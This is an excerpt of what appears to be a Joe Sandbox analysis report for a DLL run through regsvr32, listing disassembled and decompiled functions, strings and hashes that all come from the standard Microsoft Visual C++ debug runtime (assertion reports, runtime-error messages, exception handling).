_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B533
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B5ED

Strings

<program name unknown>, xrefs: 000007FEF9D2B4F2
Module: , xrefs: 000007FEF9D2B84A
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2B51C, 000007FEF9D2B5D6, 000007FEF9D2B967, 000007FEF9D2B9DA
wcscpy_s(szExeName, 260, L"<program name unknown>"), xrefs: 000007FEF9D2B52A
..., xrefs: 000007FEF9D2B81F
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3), xrefs: 000007FEF9D2B5E4
(*_errno()), xrefs: 000007FEF9D2B97F
Expression: , xrefs: 000007FEF9D2B6BE
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B9FC
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B921
File: , xrefs: 000007FEF9D2B79B
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B9E8
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B9B0
__crtMessageWindowW, xrefs: 000007FEF9D2B523, 000007FEF9D2B5DD, 000007FEF9D2B973, 000007FEF9D2B9E1
Line: , xrefs: 000007FEF9D2B744
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts., xrefs: 000007FEF9D2B655

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$FileModuleName
String ID: For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.$File: $Line: $Module: $(*_errno())$...$<program name unknown>$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Expression: $Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowW$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)$wcscpy_s(szExeName, 260, L"<program name unknown>")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
API String ID: 1949418964-1840610800
Opcode ID: 44b701395b3347ba89d33a25413c6d043cef3cadf6afd38b3a3e0c178ea01b00
Instruction ID: afa63f492d6c70519d8e627b7e85a2bc97528eb7c2a0a9c735d6d19596090ce3
Opcode Fuzzy Hash: 44b701395b3347ba89d33a25413c6d043cef3cadf6afd38b3a3e0c178ea01b00
Instruction Fuzzy Hash: 90F1D636609BC694E6B0DB54E8483AEB3E4F389780F604125DACD43BB9DB7ED194CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2AE40 Relevance: 38.7, APIs: 5, Strings: 17, Instructions: 207COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D2D490: _invalid_parameter.LIBCMTD ref: 000007FEF9D2D541

_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2AE81
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2AF35

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2AE6A, 000007FEF9D2AF1E, 000007FEF9D2B2AF, 000007FEF9D2B322
..., xrefs: 000007FEF9D2B167
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3), xrefs: 000007FEF9D2AF2C
(*_errno()), xrefs: 000007FEF9D2B2C7
<program name unknown>, xrefs: 000007FEF9D2AE40
Expression: , xrefs: 000007FEF9D2B006
Line: , xrefs: 000007FEF9D2B08C
m*, xrefs: 000007FEF9D2AE9E
__crtMessageWindowA, xrefs: 000007FEF9D2AE71, 000007FEF9D2AF25, 000007FEF9D2B2BB, 000007FEF9D2B329
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B2F8
Module: , xrefs: 000007FEF9D2B192
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B330
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts., xrefs: 000007FEF9D2AF9D
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B269
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B344
strcpy_s(szExeName, 260, "<program name unknown>"), xrefs: 000007FEF9D2AE78
File: , xrefs: 000007FEF9D2B0E3

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$_invalid_parameter
String ID: For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.$File: $Line: $Module: $(*_errno())$...$<program name unknown>$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Expression: $Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)$strcpy_s(szExeName, 260, "<program name unknown>")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$m*
API String ID: 2356156361-2279852085
Opcode ID: 2e784d19664e5a95b58b990f67b4737f05373876c1930d3c64995b1a0c69d3f2
Instruction ID: 4b7917f2e6131773ed7248c088fbaee50c31bf3d43f4cd1ee6c8c65be3a18826
Opcode Fuzzy Hash: 2e784d19664e5a95b58b990f67b4737f05373876c1930d3c64995b1a0c69d3f2
Instruction Fuzzy Hash: BCC1E77190DBC681EBB48B15E8803EEA3E1F389384F614126E6CD42BB9DB7ED155CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2CB4F Relevance: 38.7, APIs: 8, Strings: 14, Instructions: 174fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 000007FEF9D2CBF0
WriteFile.KERNEL32 ref: 000007FEF9D2CC8E

Strings

<program name unknown>, xrefs: 000007FEF9D2CD68
..., xrefs: 000007FEF9D2CE1A
wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3), xrefs: 000007FEF9D2CE50
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text), xrefs: 000007FEF9D2CED8
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n"), xrefs: 000007FEF9D2CE95
Runtime Error!Program: , xrefs: 000007FEF9D2CCF8
wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: "), xrefs: 000007FEF9D2CD2F
_, xrefs: 000007FEF9D2CE71
Microsoft Visual C++ Runtime Library, xrefs: 000007FEF9D2CEEC
wcscpy_s(progname, progname_size, L"<program name unknown>"), xrefs: 000007FEF9D2CDA3
_NMSG_WRITE, xrefs: 000007FEF9D2CD28, 000007FEF9D2CD9C, 000007FEF9D2CE49, 000007FEF9D2CE8E, 000007FEF9D2CED1
2H, xrefs: 000007FEF9D2CDB9
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c, xrefs: 000007FEF9D2CD21, 000007FEF9D2CD95, 000007FEF9D2CE42, 000007FEF9D2CE87, 000007FEF9D2CECA
0I, xrefs: 000007FEF9D2CD0B

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FileHandleWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $_NMSG_WRITE$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)$wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")$wcscpy_s(progname, progname_size, L"<program name unknown>")$wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3)$_$0I$2H
API String ID: 3320372497-2837547082
Opcode ID: b64be2a8eca497eb38ff52dc13b3436bc691d1b4503f9f72973df8eece0bc5fb
Instruction ID: 0a9042e1a7d7c8a566278db251693fc707392c06de90b0eab8804e289765c981
Opcode Fuzzy Hash: b64be2a8eca497eb38ff52dc13b3436bc691d1b4503f9f72973df8eece0bc5fb
Instruction Fuzzy Hash: 4C910E31A1CA8685EBA0DB64E8543BE63E0F384784FA04126D6CD47AB9DF3FE545CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D312E3 Relevance: 35.1, APIs: 14, Strings: 6, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 000007FEF9D312EA
GetProcAddress.KERNEL32 ref: 000007FEF9D31310

Strings

GetLastActivePopup, xrefs: 000007FEF9D3135E
MessageBoxW, xrefs: 000007FEF9D31304
GetUserObjectInformationW, xrefs: 000007FEF9D31380
USER32.DLL, xrefs: 000007FEF9D312E3
GetProcessWindowStation, xrefs: 000007FEF9D313B3
GetActiveWindow, xrefs: 000007FEF9D3133C

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 2574300362-564504941
Opcode ID: fee43fc66515416ac0980d72625433c0e8db806945977869f613c1f5f8def98f
Instruction ID: 70a6d76ff3d3819b8955004bde04ce45998dc5e92ad36a3a08ed7dd3d00f33af
Opcode Fuzzy Hash: fee43fc66515416ac0980d72625433c0e8db806945977869f613c1f5f8def98f
Instruction Fuzzy Hash: F051A635A08A8286E7A09B19FC5476E73E4F784B51F609035DACE43A74DF7EE488CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D376C0 Relevance: 33.3, APIs: 22, Instructions: 322COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D37727
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3778E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D377C4
wcsncnt.LIBCMTD ref: 000007FEF9D37810
WideCharToMultiByte.KERNEL32 ref: 000007FEF9D3786A
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D378C0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D37C69

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWidewcsncnt
String ID:
API String ID: 641786319-0
Opcode ID: dd68202ae9e70015e3243afc192c87c9af493ce1bfd3ef4005d4635320cae465
Instruction ID: 27f88887327b6a70fd6681a1572ed994cc0fbf2c3fc8410d15a0bdfd36c78ba8
Opcode Fuzzy Hash: dd68202ae9e70015e3243afc192c87c9af493ce1bfd3ef4005d4635320cae465
Instruction Fuzzy Hash: 7402F432A0CEC5C1D6A09B15E8903AEB7A0F7857A5F604226E6DD47BE9DF3ED445CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D340B0 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 341
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D340B0(void* __ecx, void* __edi, void* __esi, void* __esp, void* __eflags, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, void* _a16, long long _a24, void* _a32, signed int* _a40, signed int _a48, signed int _a56, long long _a64) {
				long long _v24;
				long long _v32;
				char _v56;
				long long _v64;
				long long _v72;
				char _v80;
				void* _v88;
				void* _v96;
				intOrPtr _v104;
				void* _v112;
				intOrPtr _v120;
				void* _v128;
				char _v132;
				char _v136;
				long long _v144;
				signed int _v152;
				char _v160;
				signed char _v164;
				signed int _v168;
				char _v176;
				char _v184;
				long long _v192;
				signed char _v200;
				long long _v208;
				signed int _v216;
				signed int _v224;
				long long _v232;
				void* _t222;
				void* _t244;
				void* _t295;
				long long _t302;
				long long _t303;
				intOrPtr _t311;
				long long _t312;
				long long _t321;
				intOrPtr _t325;
				long long _t329;
				long long _t330;
				long long _t332;

				_t295 = __rax;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v164 = 0;
				_v152 = 0;
				_v168 = E000007FE7FEF9D33B40(_a40, _a32);
				E000007FE7FEF9D2E500(_a16, _a32, _a40,  &_v160);
				if (_v168 - E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40) <= 0) goto 0xf9d34176;
				r9d = _v168;
				E000007FE7FEF9D33BD0(_t217,  &_v160, _a32, _a40);
				r9d = _v168;
				E000007FE7FEF9D33C00(_v168 - E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40), _t295, _a16, _a32, _a40);
				goto 0xf9d34197;
				_v168 = E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40);
				if (_v168 - 0xffffffff < 0) goto 0xf9d341b1;
				if (_v168 - _a40[1] >= 0) goto 0xf9d341b1;
				goto 0xf9d341b6;
				_t222 = E000007FE7FEF9D2CF80(_a40);
				if ( *_a8 != 0xe06d7363) goto 0xf9d34398;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d34398;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d34213;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d34213;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d34398;
				_t302 = _a8;
				if ( *((long long*)(_t302 + 0x30)) != 0) goto 0xf9d34398;
				0xf9d24000();
				if ( *((long long*)(_t302 + 0xf0)) != 0) goto 0xf9d3423a;
				goto 0xf9d34862;
				0xf9d24000();
				_t303 =  *((intOrPtr*)(_t302 + 0xf0));
				_a8 = _t303;
				0xf9d24000();
				_a24 =  *((intOrPtr*)(_t303 + 0xf8));
				_v164 = 1;
				E000007FE7FEF9D2E6E0(_t222, _a8,  *((intOrPtr*)(_a8 + 0x38)));
				if (E000007FE7FEF9D3D2C0(1, _a8) == 0) goto 0xf9d34290;
				goto 0xf9d34295;
				E000007FE7FEF9D2CF80(_a8);
				if ( *_a8 != 0xe06d7363) goto 0xf9d342fa;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d342fa;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d342e6;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d342e6;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d342fa;
				_t311 = _a8;
				if ( *((long long*)(_t311 + 0x30)) != 0) goto 0xf9d342fa;
				E000007FE7FEF9D2CF80(_t311);
				0xf9d24000();
				if ( *((long long*)(_t311 + 0x108)) == 0) goto 0xf9d34398;
				0xf9d24000();
				_t312 =  *((intOrPtr*)(_t311 + 0x108));
				_v144 = _t312;
				0xf9d24000();
				 *((long long*)(_t312 + 0x108)) = 0;
				if ((E000007FE7FEF9D35BB0(_t312, _a8, _v144) & 0x000000ff) == 0) goto 0xf9d34349;
				goto 0xf9d34398;
				if ((E000007FE7FEF9D35CC0(_v144) & 0x000000ff) == 0) goto 0xf9d34393;
				E000007FE7FEF9D35AB0(1, _a8);
				E000007FE7FEF9D34870( &_v56, "bad exception");
				E000007FE7FEF9D3D320(__edi, __esi, __esp,  &_v56, 0xf9d4a180);
				goto 0xf9d34398;
				E000007FE7FEF9D2CF50(_t312);
				if ( *_a8 != 0xe06d7363) goto 0xf9d347d9;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d347d9;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d343f5;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d343f5;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d347d9;
				if (_a40[3] <= 0) goto 0xf9d3466c;
				_v216 = _a32;
				_v224 =  &_v132;
				_t321 =  &_v136;
				_v232 = _t321;
				r9d = _v168;
				r8d = _a56;
				E000007FE7FEF9D2EA30(_a16, _a40);
				_v128 = _t321;
				goto 0xf9d3447e;
				_v136 = _v136 + 1;
				_v128 = _v128 + 0x14;
				if (_v136 - _v132 >= 0) goto 0xf9d3466c;
				if ( *_v128 - _v168 > 0) goto 0xf9d344b3;
				_t325 = _v128;
				if (_v168 -  *((intOrPtr*)(_t325 + 4)) <= 0) goto 0xf9d344b5;
				goto 0xf9d3445a;
				E000007FE7FEF9D2E680( *((intOrPtr*)(_t325 + 4)), _t325);
				_v112 = _t325 +  *((intOrPtr*)(_v128 + 0x10));
				_v120 =  *((intOrPtr*)(_v128 + 0xc));
				_v120 = _v120 - 1;
				_t329 = _v112 + 0x14;
				_v112 = _t329;
				if (_v120 <= 0) goto 0xf9d34667;
				_t244 = E000007FE7FEF9D2E6A0(_v120 - 1, _t329);
				_t330 = _t329 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 0xc)) + 4;
				_v96 = _t330;
				E000007FE7FEF9D2E6A0(_t244, _t330);
				_v104 =  *((intOrPtr*)(_t330 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 0xc))));
				goto 0xf9d3457e;
				_v104 = _v104 - 1;
				_t332 = _v96 + 4;
				_v96 = _t332;
				if (_v104 <= 0) goto 0xf9d34662;
				E000007FE7FEF9D2E6A0(_v104 - 1, _t332);
				_v88 = _t332 +  *_v96;
				if (E000007FE7FEF9D34CD0(_v112, _v88,  *((intOrPtr*)(_a8 + 0x30))) != 0) goto 0xf9d345ce;
				goto 0xf9d3455a;
				_v152 = 1;
				_v176 = _a48 & 0x000000ff;
				_v184 = _v164 & 0x000000ff;
				_v192 = _a64;
				_v200 = _a56;
				_v208 = _v128;
				_v216 = _v88;
				_v224 = _v112;
				_v232 = _a40;
				E000007FE7FEF9D35180(__edi, __esi, __esp, E000007FE7FEF9D34CD0(_v112, _v88,  *((intOrPtr*)(_a8 + 0x30))), _a8, _a16, _a24, _a32);
				goto 0xf9d34667;
				goto 0xf9d3455a;
				goto L1;
				goto 0xf9d3445a;
				__eax = _v152 & 0x000000ff;
				__eflags = _v152 & 0x000000ff;
				if ((_v152 & 0x000000ff) != 0) goto 0xf9d347d7;
				__rax = _a40;
				__eax =  *_a40;
				__eax =  *_a40 & 0x1fffffff;
				__eflags = __eax - 0x19930521;
				if (__eax - 0x19930521 < 0) goto 0xf9d347d7;
				__rax = _a40;
				__eflags =  *(__rax + 0x20);
				if ( *(__rax + 0x20) == 0) goto 0xf9d346bf;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_a40 = _a40[8];
				_v32 = __rax;
				goto 0xf9d346cb;
				_v32 = 0;
				__eflags = _v32;
				if (_v32 == 0) goto 0xf9d347d7;
				__rax = _a40;
				__eflags =  *(__rax + 0x20);
				if ( *(__rax + 0x20) == 0) goto 0xf9d34706;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_a40 = _a40[8];
				__rax = __rax + _a40[8];
				_v24 = __rax;
				goto 0xf9d34712;
				_v24 = 0;
				__rdx = _v24;
				__rcx = _a8;
				E000007FE7FEF9D35BB0(__rax, _a8, _v24) = __al & 0x000000ff;
				__eflags = __al & 0x000000ff;
				if ((__al & 0x000000ff) != 0) goto 0xf9d347d7;
				__rax = _a16;
				_v64 = _a16;
				__r9 =  &_v80;
				__r8 = _a40;
				__rdx = _a32;
				__rcx = _a16;
				__eax = E000007FE7FEF9D2E500(_a16, _a32, _a40,  &_v80);
				_v64 = __rax;
				_v72 = 0;
				__eax = _a48 & 0x000000ff;
				_v200 = __al;
				__rax = _a32;
				_v208 = _a32;
				__rax = _a40;
				_v216 = _a40;
				_v224 = 0xffffffff;
				_v232 = 0;
				__r9 = _v64;
				__r8 = _a24;
				__rdx = _a8;
				__rcx = _a16;
				__eax = E000007FE7FEF9D2EDC0(__edi, __esi, __esp, _a16, _a8, _a24, _v64);
				goto 0xf9d3484c;
				__rax = _a40;
				__eflags =  *(__rax + 0xc);
				if ( *(__rax + 0xc) <= 0) goto 0xf9d3484c;
				__eax = _a48 & 0x000000ff;
				__eflags = _a48 & 0x000000ff;
				if ((_a48 & 0x000000ff) != 0) goto 0xf9d34847;
				__rax = _a64;
				_v208 = _a64;
				__eax = _a56;
				_v216 = _a56;
				__eax = _v168;
				_v224 = _v168;
				__rax = _a40;
				_v232 = _a40;
				__r9 = _a32;
				__r8 = _a24;
				__rdx = _a16;
				__rcx = _a8;
				__eax = E000007FE7FEF9D34960(__ecx, _a8, _a16, _a24, _a32);
				goto 0xf9d3484c;
				__eax = E000007FE7FEF9D2CF50(__rax);
				0xf9d24000();
				__eflags =  *((long long*)(__rax + 0x108));
				if ( *((long long*)(__rax + 0x108)) != 0) goto 0xf9d3485d;
				goto 0xf9d34862;
				return E000007FE7FEF9D2CF80(__rax);
			}

0x7fef9d340b0
0x7fef9d340b0
0x7fef9d340b5
0x7fef9d340ba
0x7fef9d340bf
0x7fef9d340cb
0x7fef9d340d0
0x7fef9d340ea
0x7fef9d3410b
0x7fef9d34131
0x7fef9d34133
0x7fef9d3414d
0x7fef9d34152
0x7fef9d3416f
0x7fef9d34174
0x7fef9d34193
0x7fef9d3419c
0x7fef9d341ad
0x7fef9d341af
0x7fef9d341b1
0x7fef9d341c4
0x7fef9d341d6
0x7fef9d341eb
0x7fef9d341fc
0x7fef9d3420d
0x7fef9d34213
0x7fef9d34220
0x7fef9d34226
0x7fef9d34233
0x7fef9d34235
0x7fef9d3423a
0x7fef9d3423f
0x7fef9d34246
0x7fef9d3424e
0x7fef9d3425a
0x7fef9d34262
0x7fef9d34273
0x7fef9d3428c
0x7fef9d3428e
0x7fef9d34290
0x7fef9d342a3
0x7fef9d342b1
0x7fef9d342c2
0x7fef9d342d3
0x7fef9d342e4
0x7fef9d342e6
0x7fef9d342f3
0x7fef9d342f5
0x7fef9d342fa
0x7fef9d34307
0x7fef9d3430d
0x7fef9d34312
0x7fef9d34319
0x7fef9d3431e
0x7fef9d34323
0x7fef9d34345
0x7fef9d34347
0x7fef9d34358
0x7fef9d34364
0x7fef9d34378
0x7fef9d3438c
0x7fef9d34391
0x7fef9d34393
0x7fef9d343a6
0x7fef9d343b8
0x7fef9d343cd
0x7fef9d343de
0x7fef9d343ef
0x7fef9d34401
0x7fef9d3440f
0x7fef9d3441c
0x7fef9d34421
0x7fef9d34429
0x7fef9d3442e
0x7fef9d34433
0x7fef9d3444b
0x7fef9d34450
0x7fef9d34458
0x7fef9d34463
0x7fef9d34476
0x7fef9d3448c
0x7fef9d344a0
0x7fef9d344a2
0x7fef9d344b1
0x7fef9d344b3
0x7fef9d344b5
0x7fef9d344c9
0x7fef9d344dc
0x7fef9d344ee
0x7fef9d344fd
0x7fef9d34501
0x7fef9d34511
0x7fef9d34517
0x7fef9d3452c
0x7fef9d34531
0x7fef9d34539
0x7fef9d34551
0x7fef9d34558
0x7fef9d34563
0x7fef9d34572
0x7fef9d34576
0x7fef9d34586
0x7fef9d3458c
0x7fef9d3459f
0x7fef9d345ca
0x7fef9d345cc
0x7fef9d345ce
0x7fef9d345db
0x7fef9d345e4
0x7fef9d345f0
0x7fef9d345fc
0x7fef9d34608
0x7fef9d34615
0x7fef9d34622
0x7fef9d3462f
0x7fef9d34654
0x7fef9d3465b
0x7fef9d3465d
0x7fef9d34662
0x7fef9d34667
0x7fef9d3466c
0x7fef9d34671
0x7fef9d34673
0x7fef9d34679
0x7fef9d34681
0x7fef9d34683
0x7fef9d34688
0x7fef9d3468d
0x7fef9d34693
0x7fef9d3469b
0x7fef9d3469f
0x7fef9d346a1
0x7fef9d346ae
0x7fef9d346b5
0x7fef9d346bd
0x7fef9d346bf
0x7fef9d346cb
0x7fef9d346d4
0x7fef9d346da
0x7fef9d346e2
0x7fef9d346e6
0x7fef9d346e8
0x7fef9d346f5
0x7fef9d346f9
0x7fef9d346fc
0x7fef9d34704
0x7fef9d34706
0x7fef9d34712
0x7fef9d3471a
0x7fef9d34727
0x7fef9d3472a
0x7fef9d3472c
0x7fef9d34732
0x7fef9d3473a
0x7fef9d34742
0x7fef9d3474a
0x7fef9d34752
0x7fef9d3475a
0x7fef9d34762
0x7fef9d34767
0x7fef9d3476f
0x7fef9d3477b
0x7fef9d34783
0x7fef9d34787
0x7fef9d3478f
0x7fef9d34794
0x7fef9d3479c
0x7fef9d347a1
0x7fef9d347a9
0x7fef9d347b2
0x7fef9d347ba
0x7fef9d347c2
0x7fef9d347ca
0x7fef9d347d2
0x7fef9d347d7
0x7fef9d347d9
0x7fef9d347e1
0x7fef9d347e5
0x7fef9d347e7
0x7fef9d347ef
0x7fef9d347f1
0x7fef9d347f3
0x7fef9d347fb
0x7fef9d34800
0x7fef9d34807
0x7fef9d3480b
0x7fef9d3480f
0x7fef9d34813
0x7fef9d3481b
0x7fef9d34820
0x7fef9d34828
0x7fef9d34830
0x7fef9d34838
0x7fef9d34840
0x7fef9d34845
0x7fef9d34847
0x7fef9d3484c
0x7fef9d34851
0x7fef9d34859
0x7fef9d3485b
0x7fef9d34869

APIs

__StateFromControlPc.LIBCMTD ref: 000007FEF9D340E5

Part of subcall function 000007FEF9D2E500: __StateFromControlPc.LIBCMTD ref: 000007FEF9D2E534
Part of subcall function 000007FEF9D2E500: RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D2E5D2

__GetUnwindTryBlock.LIBCMTD ref: 000007FEF9D34128
__SetState.LIBCMTD ref: 000007FEF9D3414D
__SetUnwindTryBlock.LIBCMTD ref: 000007FEF9D3416F
__GetUnwindTryBlock.LIBCMTD ref: 000007FEF9D3418E
_inconsistency.LIBCMTD ref: 000007FEF9D341B1

Part of subcall function 000007FEF9D2CF80: DecodePointer.KERNEL32 ref: 000007FEF9D2CF8B
Part of subcall function 000007FEF9D2CF80: terminate.LIBCMTD ref: 000007FEF9D2CFA4

_SetThrowImageBase.LIBCMTD ref: 000007FEF9D34273
_ValidateRead.LIBCMTD ref: 000007FEF9D34285
_inconsistency.LIBCMTD ref: 000007FEF9D34290
_inconsistency.LIBCMTD ref: 000007FEF9D342F5

Part of subcall function 000007FEF9D35CC0: type_info::operator==.LIBCMTD ref: 000007FEF9D35D5F

std::bad_exception::bad_exception.LIBCMTD ref: 000007FEF9D34378

